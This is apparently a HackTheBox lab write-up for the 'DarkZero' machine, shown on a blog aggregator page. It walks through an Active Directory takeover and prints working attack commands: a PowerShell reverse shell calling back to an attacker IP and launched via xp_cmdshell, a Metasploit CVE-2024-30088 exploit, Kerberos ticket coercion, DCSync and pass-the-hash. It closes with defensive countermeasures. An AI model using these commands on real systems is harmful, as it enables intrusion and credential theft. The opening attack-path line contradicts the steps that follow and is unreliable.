惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
WordPress大学
WordPress大学
人人都是产品经理
人人都是产品经理
Engineering at Meta
Engineering at Meta
小众软件
小众软件
I
InfoQ
有赞技术团队
有赞技术团队
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
Martin Fowler
Martin Fowler
月光博客
月光博客
雷峰网
雷峰网
aimingoo的专栏
aimingoo的专栏
云风的 BLOG
云风的 BLOG
Last Week in AI
Last Week in AI
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
S
SegmentFault 最新的问题
The GitHub Blog
The GitHub Blog
Y
Y Combinator Blog
V
Visual Studio Blog
博客园 - 叶小钗
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
GbyAI
GbyAI
P
Proofpoint News Feed
Apple Machine Learning Research
Apple Machine Learning Research

DEV Community

Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples) Why AI Systems Don’t Fail — They Drift Spilling beans for how i learn for exam😁"Reinforcement Learning Cheat Sheet" I Replaced Chrome with Safari for AI Browser Automation. Here's What Broke (and What Finally Worked) How Python Borrows Other People's Work The $40 Architecture: Processing 1 Billion API Requests with 99.99% Uptime Vibe Coding: A Workflow Guide (From Zero to SaaS) Most webhook security guides protect the wrong side. The scary part is delivery. Headless CMS for TanStack Start: Build a Blog with Cosmic EU Age Verification App "Hacked in 2 Minutes" — What Actually Happened Comfy Cloud’s delete function does not actually remove files Running AI Models on GPU Cloud Servers: A Beginner Guide Event-driven media intelligence with AWS Step Functions and Bedrock I scored 500 AI prompts across 8 quality dimensions — here's what broke How to Call Google Gemini API from Next.js (Free Tier, No Backend Needed) The Portal Protocol: Reclaiming Human Connection in the Age of AI How to Fix Your Team's Scattered Knowledge Problem With a Self-Hosted Forum Intro to tc Cloud Functors: A Graph-First Mental Model for the Modern Cloud Designing Multi-Tenant Backends With Both Ownership and Team Access I Built a Neumorphic CSS Library with 77+ Components — Here's What I Learned PostgreSQL Performance Optimization: Why Connection Pooling Is Critical at Scale Cómo construí un SaaS multi-rubro para gestionar expensas en Argentina con FastAPI + Vue 3 🚀 I Built an Ethical Hacking Scanner Tool – Open Source Project I Replaced /usage and /context in Claude Code With a Single Statusline A Pythonic Way to Handle Emails (IMAP/SMTP) with Auto-Discovery and AI-Ready Design I Collected 8.9 Million Polymarket Price Points — Here's What I Found About How Markets Really Move EcoTrack AI — Carbon Footprint Tracker & Dashboard Everyone's Using AI. No One Agrees How. 5 self-hosted ebook managers worth trying in 2026 Building Your First AI Agent with LangChain: From Chatbot to Autonomous Assistant
HackTheBox: DarkZero Writeup
Yogeshwar Pe · 2026-05-27 · via DEV Community

Introduction

Active Directory environments are prime targets for attackers, yet they remain complex systems with multiple purported layers of security. The DarkZero assessment examined a multi-domain AD environment where a single MSSQL misconfiguration led to complete domain takeover.

This case study demonstrates how trust relationships, misconfigurations, and unpatched kernel vulnerabilities can chain together to compromise an entire Active Directory forest.

Attack Path: IDOR → Credential Disclosure → Cacti RCE → Container Escape → Docker API Abuse → Root


Reconnaissance

Standard nmap scan to start:

nmap -sC -sV -A <MACHINE_IP> -oA nmap-DarkZero

Enter fullscreen mode Exit fullscreen mode

Key services discovered:

  • Port 53 — DNS
  • Port 88 — Kerberos
  • Port 135, 445 — RPC, SMB
  • Port 389, 636 — LDAP
  • Port 1433 — Microsoft SQL Server 2022

The critical discovery was DNS enumeration:

dig @DC01.darkzero.htb any darkzero.htb

Enter fullscreen mode Exit fullscreen mode

This revealed the domain controller had both internal (172.16.20.x) and external (10.129.x.x) IP addresses, indicating network segmentation — relevant for pivoting later.


Initial Access: Exploiting MSSQL and Linked Servers

Leaked credentials for a low-privileged user provided initial MSSQL access:

impacket-mssqlclient darkzero.htb/john.w:'RFulUtONCOL!'@dc01.darkzero.htb -windows-auth

Enter fullscreen mode Exit fullscreen mode

The user account had limited permissions, and xp_cmdshell was disabled on DC01. However, linked server enumeration revealed a critical misconfiguration:

Linked Server: DC02.darkzero.ext
Login Mapping: dc01_sql_svc

Enter fullscreen mode Exit fullscreen mode

The MSSQL server had a linked server connection to another domain (DC02) with remote login enabled using a service account. This login mapping bypassed the restrictions on the low-privileged john.w account.

By switching to the linked server, authentication automatically occurred as the elevated service account on DC02:

use_link "DC02.darkzero.ext"
enable_xp_cmdshell

Enter fullscreen mode Exit fullscreen mode

This trust abuse allowed privilege escalation from a restricted user on DC01 to a service account with administrative capabilities on DC02.


Remote Code Execution: The PowerShell Payload

With xp_cmdshell enabled on DC02, a stable reverse shell was needed. The approach used Base64-encoded PowerShell with UTF-16LE encoding:

$client = New-Object System.Net.Sockets.TCPClient('<ATTACKER-IP>',4443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex ". { $data } 2>&1" | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
}
$client.Close()

Enter fullscreen mode Exit fullscreen mode

Encode with UTF-16LE:

iconv -f utf-8 -t utf-16le shell.ps1 | base64 -w 0

Enter fullscreen mode Exit fullscreen mode

Execute through MSSQL:

EXEC xp_cmdshell 'powershell -nop -w hidden -e BASE64_PAYLOAD'

Enter fullscreen mode Exit fullscreen mode

Shell received:

listening on [any] 4443 ...
connect to [10.10.14.241] from (UNKNOWN) [10.129.18.16] 53873
PS C:\Windows\system32>

Enter fullscreen mode Exit fullscreen mode

Initial foothold on DC02 confirmed!


Privilege Escalation: CVE-2024-30088

System enumeration using winpeas.exe revealed the target was vulnerable to CVE-2024-30088 — a kernel-level TOCTOU (Time-of-Check-Time-of-Use) vulnerability in Windows Server 2022.

The reverse shell was upgraded to a Meterpreter session for stability:

use exploit/windows/local/cve_2024_30088_authz_basep
set session <ID>
exploit

Enter fullscreen mode Exit fullscreen mode

Result:

[+] The exploit was successful, reading SYSTEM token from memory...
[+] Successfully stole winlogon handle: 956
[*] Meterpreter session 13 opened

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Enter fullscreen mode Exit fullscreen mode

SYSTEM on DC02!


Lateral Movement: Coercing DC01 Authentication

DC02 was fully compromised, but DC01 remained the ultimate objective. The goal: force DC01 to authenticate to DC02 over SMB and capture the resulting Kerberos ticket.

Deploy Rubeus on DC02 in monitor mode:

Rubeus.exe monitor /inspect:10 /nowrap

Enter fullscreen mode Exit fullscreen mode

From the MSSQL session, trigger authentication coercion:

xp_dirtree \\DC02.darkzero.ext\coerce_share

Enter fullscreen mode Exit fullscreen mode

This forced DC01 to attempt authentication to a non-existent SMB share on DC02. Rubeus captured the resulting TGT:

User: DC01$@DARKZERO.HTB
StartTime: 4/2/2026 11:22:39 AM
EndTime: 4/2/2026 9:22:38 PM
Flags: name_canonicalize, pre_authent, renewable, forwarded, forwardable
Base64EncodedTicket: doIFjDCCBYi...

Enter fullscreen mode Exit fullscreen mode


Kerberos Abuse: From Ticket to Domain Compromise

Convert the Base64 ticket to .kirbi format:

echo "<TICKET>" > ticket.b64
base64 -d ticket.b64 > ticket.kirbi

Enter fullscreen mode Exit fullscreen mode

Convert to .ccache format for impacket:

impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache

Enter fullscreen mode Exit fullscreen mode

With the TGT loaded, perform a DCSync attack impersonating DC01$:

impacket-secretsdump -k -no-pass -just-dc -target-ip 10.129.18.16 'darkzero.htb/DC01$@DC01.darkzero.htb'

Enter fullscreen mode Exit fullscreen mode

Result — Administrator NTLM hash extracted:

Administrator:500:aa...3504ee:5917...0726:::

Enter fullscreen mode Exit fullscreen mode


Post-Exploitation: Pass-the-Hash

With the Administrator NTLM hash, authenticate directly without a plaintext password:

evil-winrm -i 10.129.18.16 -u administrator -H '5917...0726'

Enter fullscreen mode Exit fullscreen mode

Evil-WinRM* PS C:\Users\Administrator\Desktop> dir

root.txt
user.txt

Enter fullscreen mode Exit fullscreen mode

Root flag captured! Full domain compromise confirmed.


Attack Chain Summary

Step Action
Reconnaissance Nmap revealed MSSQL on port 1433
Initial Access john.w creds → MSSQL login → linked server enum
Trust Abuse Switched to DC02 as dc01_sql_svc, enabled xp_cmdshell
RCE Base64 PowerShell payload → reverse shell on DC02
Privilege Escalation CVE-2024-30088 → NT AUTHORITY\SYSTEM
Lateral Movement xp_dirtree coercion → captured DC01$ TGT via Rubeus
Kerberos Abuse .kirbi → .ccache → authenticated as DC01$
Domain Compromise DCSync → Administrator NTLM hash extracted
Post-Exploitation Pass-the-Hash → Administrator shell on DC01

Key Vulnerabilities

1. MSSQL Linked Server Trust Misconfiguration — Cross-server pivoting via login mapping abuse.

2. xp_cmdshell Enabled on Linked Server — Arbitrary command execution across domains.

3. CVE-2024-30088 (Kernel TOCTOU) — Privilege escalation to SYSTEM on unpatched Windows Server 2022.

4. Unrestricted Trust Between DC01 and DC02 — Enabled cross-domain Kerberos abuse.

5. Authentication Coercion via xp_dirtree — Forced machine account TGT capture.

6. DCSync Permissions Not Restricted — Allowed full AD database extraction.

7. NTLM Protocol Allowed — Enabled Pass-the-Hash attacks.


Defensive Countermeasures

MSSQL Hardening

  • Disable xp_cmdshell by default
  • Restrict linked server creation to administrators only
  • Use least-privilege service accounts
  • Monitor linked server queries and remote logins

Active Directory Security

  • Restrict DCSync permissions to authorized backup accounts only
  • Monitor for unusual Kerberos ticket requests
  • Implement SID filtering on domain trusts
  • Monitor for authentication coercion (unusual SMB requests from DCs)

Endpoint Protection

  • Apply security patches promptly (CVE-2024-30088)
  • Implement kernel-level protections and driver signing

Detection and Monitoring

  • Alert on xp_cmdshell execution
  • Monitor for Rubeus or similar ticket monitoring tools
  • Track SMB requests to non-existent shares from domain controllers
  • Detect DCSync requests outside normal backup windows

Network Segmentation

  • Isolate domain controllers on separate VLANs
  • Restrict MSSQL traffic between domains
  • Implement firewall rules between domain boundaries

Lessons Learned

  • Trust relationships are dangerous — The link between DC01 and DC02 was the critical pivot point. Even in a multi-domain environment, trusts need careful governance.
  • Service accounts matter — The dc01_sql_svc login mapping was a significant privilege escalation opportunity. Service accounts should have minimal permissions.
  • Chaining vulnerabilities is powerful — No single issue was critical by itself. The combination created a perfect storm.
  • Kerberos tickets are powerful — A TGT for DC01$ enables DCSync without needing a plaintext password.
  • Patch promptly — CVE-2024-30088 had patches available. Unpatched kernel vulnerabilities are a critical risk.

Conclusion

The DarkZero engagement demonstrates a critical principle in Active Directory security: chained misconfigurations are more dangerous than isolated vulnerabilities.

For defenders: Audit all MSSQL linked servers and remove those not explicitly required. Apply security patches promptly. Implement least-privilege access controls and restrict DCSync permissions. Monitor for unusual authentication patterns, particularly machine account abuse and SMB coercion attempts.


References